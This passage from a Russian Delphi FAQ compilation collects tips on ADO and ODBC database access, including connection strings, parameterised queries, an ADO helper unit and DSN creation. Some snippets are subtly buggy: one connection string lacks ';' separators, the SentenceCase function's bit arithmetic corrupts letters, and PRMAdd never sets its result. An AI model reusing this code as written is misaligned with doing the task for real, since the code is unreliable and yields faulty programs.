    'Password = ' + asPassword +
    'Mode = Read|Write;Connect Timeout = ' + asTimeout;
  try
    iReturn := OpenConnection(ConnectionString);

    if (bMessage) then
    begin
      if (iReturn = 0) then
        Application.MessageBox('Connection OK!', 'Information', MB_OK)
      else if (iReturn = -1) then
        Application.MessageBox('Connection Error!', 'Error', MB_ICONERROR + MB_OK);
    end;

    if (iReturn = 0) then
      Result := ConnectionString
    else if (iReturn = -1) then
      Result := '';
  finally
    Screen.Cursor := OldCursor;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  DataBaseConnection_Test(True);
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать перечень таблиц базы и количество записей в них?

procedure TForm1.Button1Click(Sender: TObject);
var
  SL: TStrings;
  index: Integer;
begin
  SL := TStringList.Create;
  try
    ADOConnection1.GetTableNames(SL, False);
    for index := 0 to (SL.Count - 1) do begin
      Table1.Insert;
      Table1.FieldByName('Name').AsString := SL[index];
      ADOTable1.TableName := SL[index];
      ADOTable1.Open;
      Table1.FieldByName('Records').AsInteger :=
        ADOTable1.RecordCount;
      Table1.Post;
    end;
  finally
    SL.Free;
    ADOTable1.Close;
  end;
end;

Взято с http://delphiworld.narod.ru

Комментарий Vit: открытие больших таблиц, особенно на удалённых серверах баз данных может быть исключительно длительным процессом. ADO оптимизированно для работы через запросы, поэтому количество записей можно значительно быстрее узнать составляя query и выполняя её:

procedure TForm1.Button1Click(Sender: TObject);
var
  SL: TStrings;
  index: Integer;
begin
  SL := TStringList.Create;
  try
    ADOConnection1.GetTableNames(SL, False);
    for index := 0 to (SL.Count - 1) do begin
      Table1.Insert;
      Table1.FieldByName('Name').AsString := SL[index];
      ADOQuery1.sql.text := 'Select Count(*) From '+SL[index];
      ADOQuery1.Open;
      Table1.FieldByName('Records').AsInteger :=ADOQuery1.fields[0].AsInteger;
      Table1.Post;
      ADOQuery1.Close;
    end;
  finally
    SL.Free;
  end;
end;


ADO+Delphi5: постоянные ошибки BOF... или EOF...

Обновлённый MDAC конфликтует с старыми компонентами VCL.

Путь разрешения проблемы:
Идём на сайт Борланда, скачиваем SP1 для Delphi5 + специальный ADO Patch.

Сам ADO Patch здесь:
ftp://ftpc.inprise.com/pub/delphi/devsupport/updates/adoexpress/d5adoupdate2.exe

Service Pack здесь:
Enterprise: ftp://ftpc.borland.com/pub/delphi/devsupport/updates/delphi5/D5EntUpdate.exe
Professional: ftp://ftpc.borland.com/pub/delphi/devsupport/updates/delphi5/D5ProUpdate.exe
Standard: ftp://ftpc.borland.com/pub/delphi/devsupport/updates/delphi5/D5StdUpdate.exe

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Передача параметров ADO запросу

CONECT_STR = 'Provider=Microsoft.Jet.OLEDB.4.0;Password=" " ;User ID=Admin;' + {Data Source=D:\ExBd\ТЕРМО\Bd0.mdb;}
'Data Source=%s; Mode=Read|Write|Share Deny None;Extended Properties=" " ;' +
'Locale Identifier=1049;Persist Security Info=True;Jet OLEDB:System database=" " ;' +
'Jet OLEDB:Registry Path=" " ;Jet OLEDB:Database Password=" " ;Jet OLEDB:Engine Type=4;' +
'Jet OLEDB:Database Locking Mode=0;Jet OLEDB:Global Partial Bulk Ops=2;' +
'Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=" " ;' +
'Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;' +
'Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False';

function TdmR3.GetCountForPeriod(LastDate: TDateTime; IsPlan: boolean): Integer;
var qu: TADOQuery;
  S: string;
begin
  qu := TADOQuery.Create(nil);
  try
    S := FormatDateTime('dd.mm.yy', LastDate);
    qu.ConnectionString := WideString(Format(CONECT_STR, [db_file]));
    qu.SQL.Text := 'select count(*) from DecadaVal as d where d.LastDate=:LastDate and IsPlan=:IsPlan';
    qu.Parameters[0].Value := LastDate;
    qu.Parameters[1].Value := IsPlan;
    qu.Open;
    Result := qu.Fields[0].AsInteger;
  finally
    qu.Free;
  end;
end;

Взято с http://delphiworld.narod.ru

Примечание Vit: я привёл этот код так как он был на сайте и его правильность целиком на совести автора. Однако приведенный код полон неточностей и могут быть проблемы при его выполнении. Давайте разберём что здесь не так и как сделать его работающим:

function TdmR3.GetCountForPeriod(LastDate: TDateTime; IsPlan: boolean): Integer;
var qu: TADOQuery;
  S: string;
begin
  qu := TADOQuery.Create(nil);
  try
//    S := FormatDateTime('dd.mm.yy', LastDate); нам не нужна эта строка
    qu.ConnectionString := Format(CONECT_STR, [db_file]); //Delphi автоматически приводит тип String в WideString
    qu.SQL.Text := 'select count(*) from DecadaVal as d where d.LastDate=:LastDate and IsPlan=:IsPlan';
    //Дельфи вовсе не автоматом распознает параметры, мы должны заставить его правильно провести парсинг параметров, для чего и служит следующая строка:
    qu.Parameters.ParseSQL(qu.SQL.Text, true); //если кверя создана в дизайне и текст SQL присвоен в дизайне то эта строка не понадобится
// я предпочитаю обращаться к параметрам по имени, это избавит от многочисленных и сложных в отладке ошибок
    qu.Parameters.ParamByName('LastDate').Value := LastDate;
    qu.Parameters.ParamByName('IsPlan').Value := IsPlan;
    qu.Open;
    Result := qu.Fields[0].AsInteger;
  finally
    qu.Free;
  end;
end;


Как работать из Delphi напрямую с ADO?

Автор: Nomadic

Итак, хочу поделиться некоторыми достижениями... так на всякий случай. Если у вас вдруг потребуется сделать в своей программке доступ к базе данных, а BDE использовать будет неохота (или невозможно) - то есть довольно приятный вариант: использовать ActiveX Data Objects. Однако с их использованием есть некоторые проблемы, и одна из них это как передавать Optional параметры, которые вроде как можно не указывать. Однако, если вы работаете с ADO по-человечески, а не через тормозной IDispatch.Invoke то это превращается в головную боль. Вот как от нее избавляться:

var
  OptionalParam: OleVariant;
  VarData: PVarData;
begin
  OptionalParam := DISP_E_PARAMNOTFOUND;
  VarData := @OptionalParam;
  VarData^.VType := varError;

после этого переменную OptionalParam можно передавать вместо неиспользуемого аргумента.

Далее, самый приятный способ получения Result sets:

Там есть масса вариантов, но как выяснилось оптимальным является следующий вариант, который позволяет получить любой желаемый вид курсора (как клиентский, так и серверный)

var
  MyConn: _Connection;
  MyComm: _Command;
  MyRecSet: _Recordset;
  prm1: _Parameter;
begin
  MyConn := CoConnection.Create;
  MyConn.ConnectionString := 'DSN=pubs;uid=sa;pwd=;'; MyConn.Open( '', '', '', -1 );
  MyCommand := CoCommand.Create;
  MyCommand.ActiveConnection := MyConn;
  MyCommand.CommandText := 'SELECT * FROM blahblah WHERE BlahID=?'
  Prm1 := MyCommand.CreateParameter( 'Id', adInteger.adParamInput, -1, <value> );
  MyCommand.AppendParameter( Prm1 );
  MyRecSet := CoRecordSet.Create;
  MyRecSet.Open( MyCommand, OptionalParam, adOpenDynamic, adLockReadOnly, adCmdText );

... теперь можно фетчить записи. Работает шустро и классно. Меня радует. Особенно радуют серверные курсоры.

Проверялось на Delphi 3.02 + ADO 1.5 + MS SQL 6.5 sp4. Пашет как зверь.

Из вкусностей ADO - их легко можно использовать во всяких многопоточных приложениях, где BDE порой сбоит, если, конечно, ODBC драйвер грамотно сделан...

Ну и еще можно использовать для доступа к данным всяких там "нестандартных" баз типа MS Index Server или MS Active Directory Services.

В Delphi (как минимум в 4 версии) существует "константа" EmptyParam, которую можно подставлять в качестве пустого параметра.

Взято с http://delphiworld.narod.ru

Примечание Vit: с появлением в последющих версиях Дельфи ADO компонентов делает работу с ADO гораздо проще и понятнее, хотя в отдельных проектах всё ещё могут понадобится прямые обращения к недокументированным или не имплементированным в Дельфи возможностям ADO.


Запись картинки в ADO таблицу

ADOQuery1.Edit;
TBLOBField(ADOQuery1.FieldByName('myField')).LoadFromFile('c:\my.bmp');
ADOQuery1.Post;

Взято с http://delphiworld.narod.ru

Примечание Vit: похоже имеется ввиду запросы вида "Select * From..."


Быстрый доступ к ADO

unit ADO;
{This unit provides a quick access into ADO
      It handles all it's own exceptions
      It assumes it is working with SQL Server, on a PLC Database
         If an exception is thrown with a [PLCErr] suffix:
               the suffix is removed, and ErrMsg is set to the remaining string
             otherwise
               the whole exception is reported in ErrMsg
             Either way, the function call fails.

      Globals: adocn     - connection which all other ADO objects use
               adors     - Recordset
               adocmd    - Command Object
               adocmdprm - Command Object set aside for Parametric querying
               ConnectionString
                         - Connection String used for connecting

               ErrMsg    - Last Error Message
               ADOActive - Indicator as to whether ADO has been started yet

Functions:
General ADO
           ADOStart:Boolean;
           ADOReset:Boolean;
           ADOStop:Boolean;

Recordsets
           RSOpen(SQL:string;adRSType,adLockType,adCmdType:integer;UseServer:Boolean):Boolean;
           RSClose:Boolean;

Normal Command Procedures
           CMDExec(SQL:string;adCmdType:integer):Boolean;

Parametric Procedures
           PRMClear:Boolean;
           PRMSetSP(StoredProcedure:string;WithClear:Boolean):Boolean;
           PRMAdd(ParamName:string;ParamType,ParamIO,ParamSize:integer;Val:variant):Boolean;
           PRMSetParamVal(ParamName:string;val:variant):Boolean;
           PRMGetParamVal(ParamName:string;var val:variant):Boolean;

Field Operations
           function SQLStr(str:string;SQLStrType:TSQLStrType);
           function SentenceCase(str:string):string;

           --to convert from 'FIELD_NAME' -> 'Field Name' call
           SQLStr(SentenceCase(txt),ssFromSQL);
}

interface

uses OLEAuto, sysutils;

const
  {Param Data Types}
  adInteger = 3;
  adSingle = 4;
  adDate = 7;
  adBoolean = 11;
  adTinyInt = 16;
  adUnsignedTinyInt = 17;
  adDateTime = 135;
  advarChar = 200;

  {Param Directions}
  adParamInput = 1;
  adParamOutput = 2;
  adParamReturnValue = 4;

  {Command Types}
  adCmdText = 1;
  adCmdTable = 2;
  adCmdStoredProc = 4;
  adCmdTableDirect = 512;
  adCmdFile = 256;

  {Cursor/RS Types}
  adOpenForwardOnly = 0;
  adOpenKeyset = 1;
  adOpenDynamic = 2;
  adOpenStatic = 3;

  {Lock Types}
  adLockReadOnly = 1;
  adLockOptimistic = 3;

  {Cursor Locations}
  adUseServer = 2;
  adUseClient = 3;

function ADOReset: Boolean;
function ADOStop: Boolean;

function RSOpen(SQL: string; adRSType, adLockType, adCmdType: integer;
  UseServer: Boolean): Boolean;
function RSClose: Boolean;

function CMDExec(SQL: string; adCmdType: integer): Boolean;

function PRMClear: Boolean;
function PRMSetSP(StoredProcedure: string; WithClear: Boolean): Boolean;
function PRMAdd(ParamName: string; ParamType, ParamIO, ParamSize: integer; Val:
  variant): Boolean;
function PRMSetParamVal(ParamName: string; val: variant): Boolean;
function PRMGetParamVal(ParamName: string; var val: variant): Boolean;

type
  TSQLStrType = (ssToSQL, ssFromSQL);
function SQLStr(str: string; SQLStrType: TSQLStrType): string;
function SentenceCase(str: string): string;

var
  adocn, adors, adocmd, adocmdPrm: variant;
  ConnectionString, ErrMsg: string;
  ADOActive: boolean = false;

implementation

var
  UsingConnection: Boolean;

function ADOStart: Boolean;
begin
  //Get the Object References
  try
    adocn := CreateOLEObject('ADODB.Connection');
    adors := CreateOLEObject('ADODB.Recordset');
    adocmd := CreateOLEObject('ADODB.Command');
    adocmdprm := CreateOLEObject('ADODB.Command');
    result := true;
  except
    on E: Exception do
    begin
      ErrMsg := e.message;
      Result := false;
    end;
  end;
  ADOActive := result;
end;

function ADOReset: Boolean;
begin
  Result := false;
  //Ensure a clean slate...
  if not (ADOStop) then
    exit;

  //Restart all the ADO References
  if not (ADOStart) then
    exit;

  //Wire up the Connections
  //If the ADOconnetion fails, all objects will use the connection string
  //                               directly - poorer performance, but it works!!
  try
    adocn.ConnectionString := ConnectionString;
    adocn.open;
    adors.activeconnection := adocn;
    adocmd.activeconnection := adocn;
    adocmdprm.activeconnection := adocn;
    UsingConnection := true;
  except
    try
      adocn := unassigned;
      UsingConnection := false;
      adocmd.activeconnection := ConnectionString;
      adocmdprm.activeconnection := ConnectionString;
    except
      on e: exception do
      begin
        ErrMsg := e.message;
        exit;
      end;
    end;
  end;
  Result := true;
end;

function ADOStop: Boolean;
begin
  try
    if not (varisempty(adocn)) then
    begin
      adocn.close;
      adocn := unassigned;
    end;
    adors := unassigned;
    adocmd := unassigned;
    adocmdprm := unassigned;
    result := true;
  except
    on E: Exception do
    begin
      ErrMsg := e.message;
      Result := false;
    end;
  end;
  ADOActive := false;
end;

function RSOpen(SQL: string; adRSType, adLockType, adCmdType: integer;
  UseServer: Boolean): Boolean;
begin
  result := false;
  //Have two attempts at getting the required Recordset
  if UsingConnection then
  begin
    try
      if UseServer then
        adors.CursorLocation := adUseServer
      else
        adors.CursorLocation := adUseClient;
      adors.open(SQL, , adRSType, adLockType, adCmdType);
    except
      if not (ADOReset) then
        exit;
      try
        if UseServer then
          adors.CursorLocation := adUseServer
        else
          adors.CursorLocation := adUseClient;
        adors.open(SQL, , adRSType, adLockType, adCmdType);
      except
        on E: Exception do
        begin
          ErrMsg := e.message;
          exit;
        end;
      end;
    end;
  end
  else
  begin
    //Use the Connetcion String to establish a link
    try
      adors.open(SQL, ConnectionString, adRSType, adLockType, adCmdType);
    except
      if not (ADOReset) then
        exit;
      try
        adors.open(SQL, ConnectionString, adRSType, adLockType, adCmdType);
      except
        on E: Exception do
        begin
          ErrMsg := e.message;
          exit;
        end;
      end;
    end;
  end;
  Result := true;
end;

function RSClose: Boolean;
begin
  try
    adors.Close;
    result := true;
  except
    on E: Exception do
    begin
      ErrMsg := e.message;
      result := false;
    end;
  end;
end;

function CMDExec(SQL: string; adCmdType: integer): Boolean;
begin
  result := false;
  //Have two attempts at the execution..
  try
    adocmd.commandtext := SQL;
    adocmd.commandtype := adCmdType;
    adocmd.execute;
  except
    try
      if not (ADOReset) then
        exit;
      adocmd.commandtext := SQL;
      adocmd.commandtype := adCmdType;
      adocmd.execute;
    except
      on e: exception do
      begin
        ErrMsg := e.message;
        exit;
      end;
    end;
  end;
  result := true;
end;

function PRMClear: Boolean;
var
  i: integer;
begin
  try
    for i := 0 to (adocmdprm.parameters.count) - 1 do
    begin
      adocmdprm.parameters.delete(0);
    end;
    result := true;
  except
    on e: exception do
    begin
      ErrMsg := e.message;
      result := false;
    end;
  end;
end;

function PRMSetSP(StoredProcedure: string; WithClear: Boolean): Boolean;
begin
  result := false;
  //Have two attempts at setting the Stored Procedure...
  try
    adocmdprm.commandtype := adcmdStoredProc;
    adocmdprm.commandtext := StoredProcedure;
    if WithClear then
      if not (PRMClear) then
        exit;
    result := true;
  except
    try
      if not (ADOReset) then
        exit;
      adocmdprm.commandtype := adcmdStoredProc;
      adocmdprm.commandtext := StoredProcedure;
      //NB: No need to clear the parameters, as an ADOReset will have done this..
      result := true;
    except
      on e: exception do
      begin
        ErrMsg := e.message;
      end;
    end;
  end;
end;

function PRMAdd(ParamName: string; ParamType, ParamIO, ParamSize: integer; Val:
  variant): Boolean;
var
  DerivedParamSize: integer;
begin
  //Only try once to add the parameter (a call to ADOReset would reset EVERYTHING!!)
  try
    case ParamType of
      adInteger: DerivedParamSize := 4;
      adSingle: DerivedParamSize := 4;
      adDate: DerivedParamSize := 8;
      adBoolean: DerivedParamSize := 1;
      adTinyInt: DerivedParamSize := 1;
      adUnsignedTinyInt: DerivedParamSize := 1;
      adDateTime: DerivedParamSize := 8;
      advarChar: DerivedParamSize := ParamSize;
    end;
    adocmdprm.parameters.append(adoCmdPrm.createparameter(ParamName, ParamType,
      ParamIO, DerivedParamSize, Val));
  except
    on e: exception do
    begin
      ErrMsg := e.message;
    end;
  end;
end;

function PRMSetParamVal(ParamName: string; val: variant): Boolean;
begin
  //Only try once to set the parameter (a call to ADOReset would reset EVERYTHING!!)
  try
    adocmdprm.Parameters[ParamName].Value := val;
    result := true;
  except
    on e: exception do
    begin
      ErrMsg := e.message;
      result := false;
    end;
  end;
end;

function PRMGetParamVal(ParamName: string; var val: variant): Boolean;
begin
  //Only try once to read the parameter (a call to ADOReset would reset EVERYTHING!!)
  try
    val := adocmdprm.Parameters[ParamName].Value;
    result := true;
  except
    on e: exception do
    begin
      ErrMsg := e.message;
      result := false;
    end;
  end;
end;

function SQLStr(str: string; SQLStrType: TSQLStrType): string;
var
  FindChar, ReplaceChar: char;
begin
  {Convert ' '->'_' for ssToSQL (remove spaces)
  Convert '_'->' ' for ssFromSQL (remove underscores)}
  case SQLStrType of
    ssToSQL:
      begin
        FindChar := ' ';
        ReplaceChar := '_';
      end;
    ssFromSQL:
      begin
        FindChar := '_';
        ReplaceChar := ' ';
      end;
  end;

  result := str;
  while Pos(FindChar, result) > 0 do
    Result[Pos(FindChar, result)] := ReplaceChar;
end;

function SentenceCase(str: string): string;
var
  tmp: char;
  i {,len}: integer;
  NewWord: boolean;
begin
  NewWord := true;
  result := str;
  for i := 1 to Length(str) do
  begin
    if (result[i] = ' ') or (result[i] = '_') then
      NewWord := true
    else
    begin
      tmp := result[i];
      if NewWord then
      begin
        NewWord := false;
        result[i] := chr(ord(result[i]) or 64); //Set bit 6 - makes uppercase
      end
      else
        result[i] := chr(ord(result[i]) and 191); //reset bit 6 - makes lowercase
    end;
  end;
  {This was the original way of doing it, but I wanted to look for spaces or '_'s,
        and it all seemed problematic - if I find a better way another day, I'll alter the above...
       if str<>'' then
          begin
               tmp:=LowerCase(str);
               len:=length(tmp);
               tmp:=Uppercase(copy(tmp,1,1))+copy(tmp,2,len);
               i:=pos('_',tmp);
               while i<>0 do
                     begin
                          tmp:=copy(tmp,1,i-1)+' '+Uppercase(copy(tmp,i+1,1))+copy(tmp,i+2,len-i);
                          i:=pos('_',tmp);
                     end;
          end;
       result:=tmp;}
end;

end.

Взято с http://delphiworld.narod.ru


Access Violation при передаче неполного параметра

Автор: Дмитрий Померанцев

Проблема обнаружена под операционной системой Windows 2000 SP3, в среде Delphi6, Delphi7 (скорее всего не зависит от версии Delphi) с использованием Microsoft Jet DB Engine версия 4, SP3.

Некоторый, вполне типичный, код заполнения запроса в процессе выполнения вызывает Access Violation, притом, что согласно документации все должно работать корректно.

Пример кода:

Допустим, есть база данных в MS Access 2000, имеющая таблицу main и в ней целочисленное (INT) поле id в качестве главного ключа. Так же есть компонент ADOQuery1: TADOQuery, для доступа к базе данных. Максимальное значение поля id может быть получено следующим кодом:

ADOQuery1.Active := false;
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('SELECT max(id)'); // -- Сбой здесь !!!
ADOQuery1.SQL.Add('AS idmax');
ADOQuery1.SQL.Add('FROM main');
ADOQuery1.Active := true;

Как было показано в комментарии, исключение возникает в процессе добавления текста в запрос, но при этом в сообщении об ошибке указывалось, что исключение произошло внутри библиотеки Jet.

Исследование исходных текстов компонента TADOQuery показало следущее: свойство SQL, типа TStrings связано с полем FSQL: TStrings, создаваемого как экземляр класса TStringList, при этом объекту FSQL назначается обработчик события OnChange — метод QueryChanged (protected, статический), что исключает его возможную перегрузку.

Этот метод устанавливает свойство Active в False и присваивает содержимое FSQL.Text полю CommandText объекта ADO.

За отсутствием исходных текстов библиотеки Jet, дальнейшее исследование пришлось прекратить, но можно сделать несколько выводов:

Корни проблемы в невполне корректном поведении как кода от Borland, так и от Microsoft. Компонент TADOQuery передает в ADO неоконченный SQL-запрос, а Jet начинает анализировать этот запрос до того, как он полностью поступит. Возможно, Microsoft пытался реализовать упреждающее выполнение запросов, чтобы снизить время обработки запроса после получения команды на выполнение.

Теоретически и другие драйвера баз данных могут быть чувствительны к неполным запросам, так что данная ошибка может появляться и при работе с другими СУБД.

При дополнительном исследовании были выяснены интересные подробности:

Данный код не прерывает выполнения при возникновении exception, т.е. теоретически даже try..except не нужен. Похоже, это происходит из-за того, что jet является COM-объектом, а их методы вызываются как safecall. Дальнейшие тесты подтвердили это предположение — при снятии галочки Stop on Delphi Exceptions и в варианте exe-файла ошибка не проявлялась. Таким образом, ситуация несколько меняется — исключение возникает только в среде разработки, что, правда, является слабым утешением, т.к. многие програмисты работают с настройками по-умолчанию, и в случае его возникновения могут долго ломать голову, ища свою ошибку там где ее нет.

ТИПОВЫЕ РЕШЕНИЯ

1. Передавать запрос целиком — одной строкой. Пример:

ADOQuery1.Active := false;
ADOQuery1.SQL.Text := 'SELECT max(id) AS idmax FROM main;';
ADOQuery1.Active := true;

2. Отключить галочку Tools->Debugger Options->Language Exceptions->Stop on Delphi Exceptions

3. Просто игнорировать это исключение (в этом случае в процессе разработки придется периодически несколько раз нажимать OK, что, конечно, менее удобно)

Напоследок: Небольшое исследование исходного кода компонент данных BDE и dbExpress показало, что в них передача SQL-запроса происходит через промежуточное текстовое поле, что, на мой взгляд, исключает в них возможность появления аналогичной ошибки.

КОММЕНТАРИЙ:

Компонент TADOQuery от Delphi 5 содержит аналогичный код (метод QueryChanged), приводящий к ошибке.

Еще один вариант решения - использовать стандартные возможности TStrings по управлению обновлением:

ADOQuery1.SQL.BeginUpdate;
try
  ADOQuery1.SQL.Clear;
  ADOQuery1.SQL.Add('SELECT max(id)');
  ADOQuery1.SQL.Add('AS idmax');
  ADOQuery1.SQL.Add('FROM main');
finally
  ADOQuery1.SQL.EndUpdate;
end;

В этом случае событие OnChange произойдет только при выполнении EndUpdate.

Взято с http://delphiworld.narod.ru


Как сделать ADOConnection с использованием OLE-Automation?

uses
  ComObj;

function OpenConnection(ConnectionString: AnsiString): Integer;
var
  ADODBConnection: OleVariant;
begin
  ADODBConnection := CreateOleObject('ADODB.Connection');
  ADODBConnection.CursorLocation := 3; // User client
  ADODBConnection.ConnectionString := ConnectionString;
  Result          := 0;
  try
    ADODBConnection.Open;
  except
    Result := -1;
  end;
end;

function DataBaseConnection_Test(bMessage: Boolean): AnsiString;
var
  asTimeout, asUserName, asPassword, asDataSource, ConnectionString: AnsiString;
  iReturn: Integer;
  OldCursor: TCursor;
begin
  OldCursor     := Screen.Cursor;
  Screen.Cursor := crHourGlass;
  asTimeout     := '150';
  asUserName    := 'NT_Server';
  asPassword    := 'SA';
  asDataSource  := 'SQL Server - My DataBase';

  ConnectionString := 'Data Source = ' + asDataSource +
    'User ID = ' + asUserName +
    'Password = ' + asPassword +
    'Mode = Read|Write;Connect Timeout = ' + asTimeout;
  try
    iReturn := OpenConnection(ConnectionString);

    if (bMessage) then
    begin
      if (iReturn = 0) then
        Application.MessageBox('Connection OK!', 'Information', MB_OK)
      else if (iReturn = -1) then
        Application.MessageBox('Connection Error!', 'Error', MB_ICONERROR + MB_OK);
    end;

    if (iReturn = 0) then
      Result := ConnectionString
    else if (iReturn = -1) then
      Result := '';
  finally
    Screen.Cursor := OldCursor;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  DataBaseConnection_Test(True);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа через ODBC

Cодержание раздела:

Как создать новый DSN из программы?
ODBC соединения
Установка ODBC
Конфигурирование ODBC
Конфигурирование ODBC и псевдонима
Получение дескриптора ODBC соединения
Получаем имена ODBC-источников
Добавление ODBC-драйверов в Delphi

См. также статьи в других разделах:
Использование таблиц Access при помощи ODBC
Help по синтаксису SQL для MS Access (DAO/ADO/ODBC)
Через DAO/ODBC/ADO
Does Kylix support ODBC?


Как создать новый DSN из программы?

type
  TSQLConfigDataSource =
    function(hwndParent: Integer;
    fRequest: Integer;
    lpszDriverString: string;
    lpszAttributes: string): Smallint; stdcall;

function SQLConfigDataSource(hwndParent: Integer; fRequest: Integer;
  lpszDriverString: string; lpszAttributes: string): Integer; stdcall;
var
  func: TSQLConfigDataSource;
  OdbccpHMODULE: HMODULE;

begin
  OdbccpHMODULE := LoadLibrary('c:\WINDOWS\SYSTEM\odbccp32.dll');
  if OdbccpHMODULE = 0 then raise Exception.Create(SysErrorMessage(GetLastError));
  func := GetProcAddress(OdbccpHMODULE, PChar('SQLConfigDataSource'));
  if @func = nil then
    raise Exception.Create('Error Getting adress for SQLConfigDataSource' +
      SysErrorMessage(GetLastError));
  Result := func(hwndParent, fRequest, lpszDriverString, lpszAttributes);
  FreeLibrary(OdbccpHMODULE);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if SQLConfigDataSource(0, 1, 'Microsoft Excel Driver (*.xls)', Format('DSN=%s;DBQ=%s;DriverID=790', ['MyDSNName', 'c:\temp\temp.xls'])) <> 1 then
    ShowMessage('Cannot create ODBC alias');
end;

PS. Ecли вы собираетесь работать с этим DSN через BDE, то надо закрыть и открыть Session, иначе он не будет доступен.

Автор: Vit www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Автор: Olivio Moura

Этот пример показывает один из способов создания ODBC драйвера для доступа к файлу Access MDB. Подобная операция применима к большинству файлов баз данных. Естевственно, Вам потребуется MDB файл, для того, чтобы связать его с DSN.

const
  ODBC_ADD_DSN        = 1;    // Добавляем источник данных
  ODBC_CONFIG_DSN     = 2;    // Конфигурируем (редактируем) источник данных
  ODBC_REMOVE_DSN     = 3;    // Удаляем источник данных
  ODBC_ADD_SYS_DSN    = 4;    // Добавляем системный DSN
  ODBC_CONFIG_SYS_DSN = 5;    // Конфигурируем системный DSN
  ODBC_REMOVE_SYS_DSN = 6;    // удаляем системный DSN

type
  TSQLConfigDataSource = function( hwndParent: HWND;
                                   fRequest: WORD;
                                   lpszDriver: LPCSTR;
                                   lpszAttributes: LPCSTR ) : BOOL; stdcall;

procedure Form1.FormCreate(Sender: TObject);
var
  pFn: TSQLConfigDataSource;
  hLib: LongWord;
  strDriver: string;
  strHome: string;
  strAttr: string;
  strFile: string;
  fResult: BOOL;
  ModName: array[0..MAX_PATH] of Char;
  srInfo : TSearchRec;
begin
  Windows.GetModuleFileName( HInstance, ModName, SizeOf(ModName) );
  strHome := ModName;
  while ( strHome[length(strHome)] <> '\' ) do
    Delete( strHome, length(strHome), 1 );
  strFile := strHome + 'TestData.MDB';   // Тестовая база данных (Axes = Access)
  hLib := LoadLibrary( 'ODBCCP32' );    // загружаем библиотеку (путь по умолчанию)
  if( hLib <> NULL ) then
  begin
    @pFn := GetProcAddress( hLib, 'SQLConfigDataSource' );
    if( @pFn <> nil ) then
    begin
      // начинаем создание DSN
      strDriver := 'Microsoft Access Driver (*.mdb)';
      strAttr := Format( 'DSN=TestDSN'+#0+
                         'DBQ=%s'+#0+
                         'Exclusive=1'+#0+
                         'Description=Test Data'+#0+#0,
                         [strFile] );
      fResult := pFn( 0, ODBC_ADD_SYS_DSN, @strDriver[1], @strAttr[1] );
      if( fResult = false ) then ShowMessage( 'Ошибка создания DSN (Datasource) !' );

      // test/create MDB file associated with DSN
      if( FindFirst( strFile, 0, srInfo ) <> 0 ) then
      begin
        strDriver := 'Microsoft Access Driver (*.mdb)';
        strAttr := Format( 'DSN=TestDSN'+#0+
                           'DBQ=%s'+#0+
                           'Exclusive=1'+#0+
                           'Description=Test Data'+#0+
                           'CREATE_DB="%s"'#0+#0,
                           [strFile,strFile] );
        fResult := pFn( 0, ODBC_ADD_SYS_DSN, @strDriver[1], @strAttr[1] );
        if( fResult = false ) then ShowMessage( 'Ошибка создания MDB (файла базы данных) !' );
      end;
      FindClose( srInfo );

      end;

    FreeLibrary( hLib );
  end
  else
  begin
    ShowMessage( 'Невозможно загрузить ODBCCP32.DLL' );
  end;
end;

Взято из http://forum.sources.ru


ODBC соединения

...я обращал ваше внимание на трудности коннекта Delphi-приложений с Watcom. За исключением досадной проблемы с чуствительностью регистров у ODBC драйверов (которая пропадает после установки соответствующих заплаток), мое приложение действительно лучше соединяется с базой данных Watcom, чем LIBS. Вот функция, которую я использую для подключения к серверу:

function TLogonForm.LogonToServer: Boolean;
begin
  LogonToServer := FALSE;
  MyDatabase.AliasName := DatabaseEdit.Text;
  MyDatabase.Params.Values['USER NAME'] := UserIDEdit.Text;
  MyDatabase.Params.Values['PASSWORD'] := PasswordEdit.Text;
  MyDatabase.Params.Values['SERVER NAME'] := ServerName;
  try
    MyDatabase.Connected := TRUE;
    LogonToServer := TRUE;
  except
    on E: EDatabaseError do
      MessageDlg('Программа не в состоянии подключиться к
        серверу баз данных по следующей причине:
          ' + #10 + #10 + E.Message, mtError, [mbOK], 0);
  end;
end;

Эта функция находится в модуле с формой диалога подключения, на которой расположены три поля редактирования: идентификатор пользователя, пароль и имя базы данных. При щелчке пользователем на кнопке OK, значение из поля с именем базы данных используется для поиска в файле ODBC.INI:

ServerName := ODBCIni.ReadString(DatabaseEdit.Text, 'Database', '');

Этой строчкой мы получаем фактическое имя файла базы данных, к которому нам необходимо получить доступ ('SERVER NAME' - параметр соединения).

Во время разработки я выставил в своем компоненте TDatabase следующие параметры:

 Connected: FALSE
 DatabaseName: DCAC {это псевдоним, используемый приложением}
 KeepConnection: TRUE
 LoginPrompt: FALSE
 Name: MyDatabase
 TransIsolation: tiReadCommitted

AliasName, DriverName и Params в режиме проектирования остаются пусты, DriverName не используется совсем, т.к. во время выполнения приложения используется AliasName (они являются взаимоисключающими, вы можете установить что-то одно, но не оба сразу).
Вот секции Interbase и Watcom моего файла ODBC.INI:

 [DCAC_IB]
 Driver=C:\WIN\SYSTEM\BLINT04.DLL
 Description=DC Aquatics (Interbase)
 Database=D:\DCAC_IB\DCAC.GDB

 [DCAC_WSQL]
 Driver=D:\WSQL\wsqlodbc.dll
 Description=DC Aquatics (Watcom)
 Database=D:\DCAC_WAT\DCAC.DB
 Start=D:\wsql\db32w %d

Если мне необходимо подключиться к базе данных Watcom, все, что мне нужно сделать - изменить содержимое поля редактирования имени базы данных в диалоге подключения на 'DCAC_WSQL'. Если мне нужно использовать базу данных Interbase, я набираю 'DCAC_IB'. Работает замечательно.
Надеюсь это поможет... успехов...

Взято с http://delphiworld.narod.ru


Установка ODBC

Автор: Johannes M. Becher (CODATA GmbH Krefeld, Germany)

...если вам нужно знать, что творится за сценой, нужно просто взглянуть на эти два файла, оба человеко-читаемых, оба расположенных в вашей директории Windows.

